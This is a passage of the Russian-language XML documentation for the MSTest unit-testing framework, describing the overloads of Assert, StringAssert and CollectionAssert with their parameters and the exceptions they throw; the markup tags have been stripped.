двойной точности для сравнения. Это число с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет, равны ли указанные строки, и создает исключение, - если они не равны. При сравнении используются инвариантный язык и региональные параметры. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Thrown if is not equal to . - - - - - Проверяет, равны ли указанные строки, и создает исключение, - если они не равны. При сравнении используются инвариантный язык и региональные параметры. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to . - - - - - Проверяет, равны ли указанные строки, и создает исключение, - если они не равны. При сравнении используются инвариантный язык и региональные параметры. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to . - - - - - Проверяет указанные строки на равенство и создает исключение, - если они не равны. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Thrown if is not equal to . - - - - - Проверяет указанные строки на равенство и создает исключение, - если они не равны. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to . - - - - - Проверяет указанные строки на равенство и создает исключение, - если они не равны. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to . - - - - - Проверяет строки на неравенство и создает исключение, - если они равны. При сравнении используются инвариантные язык и региональные параметры. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Thrown if is equal to . - - - - - Проверяет строки на неравенство и создает исключение, - если они равны. При сравнении используются инвариантные язык и региональные параметры. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет строки на неравенство и создает исключение, - если они равны. При сравнении используются инвариантные язык и региональные параметры. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные строки на неравенство и создает исключение, - если они равны. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Thrown if is equal to . - - - - - Проверяет указанные строки на неравенство и создает исключение, - если они равны. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные строки на неравенство и создает исключение, - если они равны. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет, является ли указанный объект экземпляром ожидаемого - типа, и создает исключение, если ожидаемый тип отсутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста должен иметь указанный тип. - - - Ожидаемый тип . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром ожидаемого - типа, и создает исключение, если ожидаемый тип отсутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста должен иметь указанный тип. - - - Ожидаемый тип . - - - Сообщение, которое будет добавлено в исключение, если - не является экземпляром . Сообщение - отображается в результатах тестирования. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром ожидаемого - типа, и создает исключение, если ожидаемый тип отсутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста должен иметь указанный тип. - - - Ожидаемый тип . - - - Сообщение, которое будет добавлено в исключение, если - не является экземпляром . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром неправильного - типа, и создает исключение, если указанный тип присутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста не должен иметь указанный тип. - - - Тип, который параметр иметь не должен. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром неправильного - типа, и создает исключение, если указанный тип присутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста не должен иметь указанный тип. - - - Тип, который параметр иметь не должен. - - - Сообщение, которое будет добавлено в исключение, если - является экземпляром класса . Сообщение отображается - в результатах тестирования. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Проверяет, является ли указанный объект экземпляром неправильного - типа, и создает исключение, если указанный тип присутствует в - иерархии наследования объекта. - - - Объект, который с точки зрения теста не должен иметь указанный тип. - - - Тип, который параметр иметь не должен. - - - Сообщение, которое будет добавлено в исключение, если - является экземпляром класса . Сообщение отображается - в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Создает исключение AssertFailedException. - - - Always thrown. - - - - - Создает исключение AssertFailedException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Always thrown. - - - - - Создает исключение AssertFailedException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Массив параметров для использования при форматировании . - - - Always thrown. - - - - - Создает исключение AssertInconclusiveException. - - - Always thrown. - - - - - Создает исключение AssertInconclusiveException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Always thrown. - - - - - Создает исключение AssertInconclusiveException. - - - Сообщение, которое нужно добавить в исключение. Это сообщение отображается - в результатах теста. - - - Массив параметров для использования при форматировании . - - - Always thrown. - - - - - Статические переопределения равенства используются для сравнения экземпляров двух типов на равенство - ссылок. Этот метод не должен использоваться для сравнения двух экземпляров на - равенство. Этот объект всегда создает исключение с Assert.Fail. Используйте в ваших модульных тестах - Assert.AreEqual и связанные переопределения. - - Объект A - Объект B - False (всегда). - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Массив параметров для использования при форматировании . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Массив параметров для использования при форматировании . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Тип ожидаемого исключения. - - - - - Проверяет, создает ли код, указанный в делегате , заданное исключение типа (не производного), - и создает исключение - - AssertFailedException, - - если код не создает исключение, или создает исключение типа, отличного от . - - - Делегат для проверяемого кода, который должен создать исключение. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - выполнение делегата. - - - - - Проверяет, создает ли код, указанный с помощью делегата , в точности заданное исключение типа (и не производного типа ), - и создает исключение AssertFailedException , если код не создает исключение, или создает исключение типа, отличного от . - - Делегат для проверяемого кода, который должен создать исключение. - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - выполнение делегата. - - - - - Проверяет, создает ли код, указанный с помощью делегата , в точности заданное исключение типа (и не производного типа ), - и создает исключение AssertFailedException , если код не создает исключение, или создает исключение типа, отличного от . - - Делегат для проверяемого кода, который должен создать исключение. - - Сообщение, которое будет добавлено в исключение, если - не создает исключение типа . - - - Массив параметров для использования при форматировании . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - выполнение делегата. - - - - - Заменяет NULL-символы ("\0") символами "\\0". - - - Искомая строка. - - - Преобразованная строка, в которой NULL-символы были заменены на "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Вспомогательная функция, которая создает и вызывает AssertionFailedException - - - имя утверждения, создавшего исключение - - - сообщение с описанием условий для сбоя утверждения - - - Параметры. - - - - - Проверяет параметр на допустимые условия - - - Параметр. - - - Имя утверждения. - - - имя параметра - - - сообщение об исключении, связанном с недопустимым параметром - - - Параметры. - - - - - Безопасно преобразует объект в строку, обрабатывая значения NULL и NULL-символы. - Значения NULL преобразуются в "(null)", NULL-символы — в "\\0". - - - Объект для преобразования в строку. - - - Преобразованная строка. - - - - - Утверждение строки. - - - - - Получает одноэлементный экземпляр функции CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Проверяет, содержит ли указанная строка заданную подстроку, - и создает исключение, если подстрока не содержится - в тестовой строке. - - - Строка, которая должна содержать . - - - Строка, которая должна входить в . - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли указанная строка заданную подстроку, - и создает исключение, если подстрока не содержится - в тестовой строке. - - - Строка, которая должна содержать . - - - Строка, которая должна входить в . - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли указанная строка заданную подстроку, - и создает исключение, если подстрока не содержится - в тестовой строке. - - - Строка, которая должна содержать . - - - Строка, которая должна входить в . - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not found in - . - - - - - Проверяет, начинается ли указанная строка с указанной подстроки, - и создает исключение, если тестовая строка не начинается - с подстроки. - - - Строка, которая должна начинаться с . - - - Строка, которая должна быть префиксом . - - - Thrown if does not begin with - . - - - - - Проверяет, начинается ли указанная строка с указанной подстроки, - и создает исключение, если тестовая строка не начинается - с подстроки. - - - Строка, которая должна начинаться с . - - - Строка, которая должна быть префиксом . - - - Сообщение, которое будет добавлено в исключение, если - не начинается с . Сообщение - отображается в результатах тестирования. - - - Thrown if does not begin with - . - - - - - Проверяет, начинается ли указанная строка с указанной подстроки, - и создает исключение, если тестовая строка не начинается - с подстроки. - - - Строка, которая должна начинаться с . - - - Строка, которая должна быть префиксом . - - - Сообщение, которое будет добавлено в исключение, если - не начинается с . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not begin with - . - - - - - Проверяет, заканчивается ли указанная строка заданной подстрокой, - и создает исключение, если тестовая строка не заканчивается - заданной подстрокой. - - - Строка, которая должна заканчиваться на . - - - Строка, которая должна быть суффиксом . - - - Thrown if does not end with - . - - - - - Проверяет, заканчивается ли указанная строка заданной подстрокой, - и создает исключение, если тестовая строка не заканчивается - заданной подстрокой. - - - Строка, которая должна заканчиваться на . - - - Строка, которая должна быть суффиксом . - - - Сообщение, которое будет добавлено в исключение, если - не заканчивается на . Сообщение - отображается в результатах тестирования. - - - Thrown if does not end with - . - - - - - Проверяет, заканчивается ли указанная строка заданной подстрокой, - и создает исключение, если тестовая строка не заканчивается - заданной подстрокой. - - - Строка, которая должна заканчиваться на . - - - Строка, которая должна быть суффиксом . - - - Сообщение, которое будет добавлено в исключение, если - не заканчивается на . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not end with - . - - - - - Проверяет, соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка не соответствует регулярному выражению. - - - Строка, которая должна соответствовать . - - - Регулярное выражение, которому параметр должен - соответствовать. - - - Thrown if does not match - . - - - - - Проверяет, соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка не соответствует регулярному выражению. - - - Строка, которая должна соответствовать . - - - Регулярное выражение, которому параметр должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - не соответствует . Сообщение отображается в - результатах тестирования. - - - Thrown if does not match - . - - - - - Проверяет, соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка не соответствует регулярному выражению. - - - Строка, которая должна соответствовать . - - - Регулярное выражение, которому параметр должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - не соответствует . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not match - . - - - - - Проверяет, не соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка соответствует регулярному выражению. - - - Строка, которая не должна соответствовать . - - - Регулярное выражение, которому параметр не должен - соответствовать. - - - Thrown if matches . - - - - - Проверяет, не соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка соответствует регулярному выражению. - - - Строка, которая не должна соответствовать . - - - Регулярное выражение, которому параметр не должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - соответствует . Сообщение отображается в результатах - тестирования. - - - Thrown if matches . - - - - - Проверяет, не соответствует ли указанная строка регулярному выражению, - и создает исключение, если строка соответствует регулярному выражению. - - - Строка, которая не должна соответствовать . - - - Регулярное выражение, которому параметр не должен - соответствовать. - - - Сообщение, которое будет добавлено в исключение, если - соответствует . Сообщение отображается в результатах - тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if matches . - - - - - Коллекция вспомогательных классов для тестирования различных условий, связанных - с коллекциями в модульных тестах. Если проверяемое условие - ложно, создается исключение. - - - - - Получает одноэлементный экземпляр функции CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Проверяет, содержит ли заданная коллекция указанный элемент, - и создает исключение, если элемент не входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который должен входить в коллекцию. - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли заданная коллекция указанный элемент, - и создает исключение, если элемент не входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли заданная коллекция указанный элемент, - и создает исключение, если элемент не входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - не находится в . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not found in - . - - - - - Проверяет, содержит ли коллекция указанный элемент, - и создает исключение, если элемент входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который не должен входить в коллекцию. - - - Thrown if is found in - . - - - - - Проверяет, содержит ли коллекция указанный элемент, - и создает исключение, если элемент входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который не должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - находится в . Сообщение отображается в результатах - тестирования. - - - Thrown if is found in - . - - - - - Проверяет, содержит ли коллекция указанный элемент, - и создает исключение, если элемент входит в коллекцию. - - - Коллекция, в которой выполняется поиск элемента. - - - Элемент, который не должен входить в коллекцию. - - - Сообщение, которое будет добавлено в исключение, если - находится в . Сообщение отображается в результатах - тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is found in - . - - - - - Проверяет, все ли элементы в указанной коллекции имеют значения, отличные от NULL, - и создает исключение, если какой-либо элемент имеет значение NULL. - - - Коллекция, в которой выполняется поиск элементов, имеющих значение NULL. - - - Thrown if a null element is found in . - - - - - Проверяет, все ли элементы в указанной коллекции имеют значения, отличные от NULL, - и создает исключение, если какой-либо элемент имеет значение NULL. - - - Коллекция, в которой выполняется поиск элементов, имеющих значение NULL. - - - Сообщение, которое будет добавлено в исключение, если - содержит элемент, равный NULL. Сообщение отображается в результатах теста. - - - Thrown if a null element is found in . - - - - - Проверяет, все ли элементы в указанной коллекции имеют значения, отличные от NULL, - и создает исключение, если какой-либо элемент имеет значение NULL. - - - Коллекция, в которой выполняется поиск элементов, имеющих значение NULL. - - - Сообщение, которое будет добавлено в исключение, если - содержит элемент, равный NULL. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if a null element is found in . - - - - - Проверяет, уникальны ли все элементы в указанной коллекции, - и создает исключение, если любые два элемента в коллекции равны. - - - Коллекция, в которой выполняется поиск дубликатов элементов. - - - Thrown if a two or more equal elements are found in - . - - - - - Проверяет, уникальны ли все элементы в указанной коллекции, - и создает исключение, если любые два элемента в коллекции равны. - - - Коллекция, в которой выполняется поиск дубликатов элементов. - - - Сообщение, которое будет добавлено в исключение, если - содержит как минимум один элемент-дубликат. Это сообщение отображается в - результатах теста. - - - Thrown if a two or more equal elements are found in - . - - - - - Проверяет, уникальны ли все элементы в указанной коллекции, - и создает исключение, если любые два элемента в коллекции равны. - - - Коллекция, в которой выполняется поиск дубликатов элементов. - - - Сообщение, которое будет добавлено в исключение, если - содержит как минимум один элемент-дубликат. Это сообщение отображается в - результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if a two or more equal elements are found in - . - - - - - Проверяет, является ли коллекция подмножеством другой коллекции, и - создает исключение, если любой элемент подмножества не является также элементом - супермножества. - - - Коллекция, которая должна быть подмножеством . - - - Коллекция, которая должна быть супермножеством - - - Thrown if an element in is not found in - . - - - - - Проверяет, является ли коллекция подмножеством другой коллекции, и - создает исключение, если любой элемент подмножества не является также элементом - супермножества. - - - Коллекция, которая должна быть подмножеством . - - - Коллекция, которая должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если элемент в - не обнаружен в . - Сообщение отображается в результатах тестирования. - - - Thrown if an element in is not found in - . - - - - - Проверяет, является ли коллекция подмножеством другой коллекции, и - создает исключение, если любой элемент подмножества не является также элементом - супермножества. - - - Коллекция, которая должна быть подмножеством . - - - Коллекция, которая должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если элемент в - не обнаружен в . - Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if an element in is not found in - . - - - - - Проверяет, не является ли коллекция подмножеством другой коллекции, и - создает исключение, если все элементы подмножества также входят в - супермножество. - - - Коллекция, которая не должна быть подмножеством . - - - Коллекция, которая не должна быть супермножеством - - - Thrown if every element in is also found in - . - - - - - Проверяет, не является ли коллекция подмножеством другой коллекции, и - создает исключение, если все элементы подмножества также входят в - супермножество. - - - Коллекция, которая не должна быть подмножеством . - - - Коллекция, которая не должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если каждый элемент в - также обнаружен в . - Сообщение отображается в результатах тестирования. - - - Thrown if every element in is also found in - . - - - - - Проверяет, не является ли коллекция подмножеством другой коллекции, и - создает исключение, если все элементы подмножества также входят в - супермножество. - - - Коллекция, которая не должна быть подмножеством . - - - Коллекция, которая не должна быть супермножеством - - - Сообщение, которое будет добавлено в исключение, если каждый элемент в - также обнаружен в . - Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if every element in is also found in - . - - - - - Проверяет, содержат ли две коллекции одинаковые элементы, и создает - исключение, если в любой из коллекций есть непарные - элементы. - - - Первая сравниваемая коллекция. Она содержит ожидаемые тестом - элементы. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Проверяет, содержат ли две коллекции одинаковые элементы, и создает - исключение, если в любой из коллекций есть непарные - элементы. - - - Первая сравниваемая коллекция. Она содержит ожидаемые тестом - элементы. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если элемент был обнаружен - в одной коллекции, но не обнаружен в другой. Это сообщение отображается - в результатах теста. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Проверяет, содержат ли две коллекции одинаковые элементы, и создает - исключение, если в любой из коллекций есть непарные - элементы. - - - Первая сравниваемая коллекция. Она содержит ожидаемые тестом - элементы. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если элемент был обнаружен - в одной коллекции, но не обнаружен в другой. Это сообщение отображается - в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Проверяет, содержат ли две коллекции разные элементы, и создает - исключение, если две коллекции содержат одинаковые элементы (без учета - порядка). - - - Первая сравниваемая коллекция. Она содержит элементы, которые должны - отличаться от фактической коллекции с точки зрения теста. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Проверяет, содержат ли две коллекции разные элементы, и создает - исключение, если две коллекции содержат одинаковые элементы (без учета - порядка). - - - Первая сравниваемая коллекция. Она содержит элементы, которые должны - отличаться от фактической коллекции с точки зрения теста. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - содержит такие же элементы, что и . Сообщение - отображается в результатах тестирования. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Проверяет, содержат ли две коллекции разные элементы, и создает - исключение, если две коллекции содержат одинаковые элементы (без учета - порядка). - - - Первая сравниваемая коллекция. Она содержит элементы, которые должны - отличаться от фактической коллекции с точки зрения теста. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - содержит такие же элементы, что и . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Проверяет, все ли элементы в указанной коллекции являются экземплярами - ожидаемого типа, и создает исключение, если ожидаемый тип - не входит в иерархию наследования одного или нескольких элементов. - - - Содержащая элементы коллекция, которые с точки зрения теста должны иметь - указанный тип. - - - Ожидаемый тип каждого элемента . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Проверяет, все ли элементы в указанной коллекции являются экземплярами - ожидаемого типа, и создает исключение, если ожидаемый тип - не входит в иерархию наследования одного или нескольких элементов. - - - Содержащая элементы коллекция, которые с точки зрения теста должны иметь - указанный тип. - - - Ожидаемый тип каждого элемента . - - - Сообщение, которое будет добавлено в исключение, если элемент в - не является экземпляром - . Сообщение отображается в результатах тестирования. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Проверяет, все ли элементы в указанной коллекции являются экземплярами - ожидаемого типа, и создает исключение, если ожидаемый тип - не входит в иерархию наследования одного или нескольких элементов. - - - Содержащая элементы коллекция, которые с точки зрения теста должны иметь - указанный тип. - - - Ожидаемый тип каждого элемента . - - - Сообщение, которое будет добавлено в исключение, если элемент в - не является экземпляром - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая 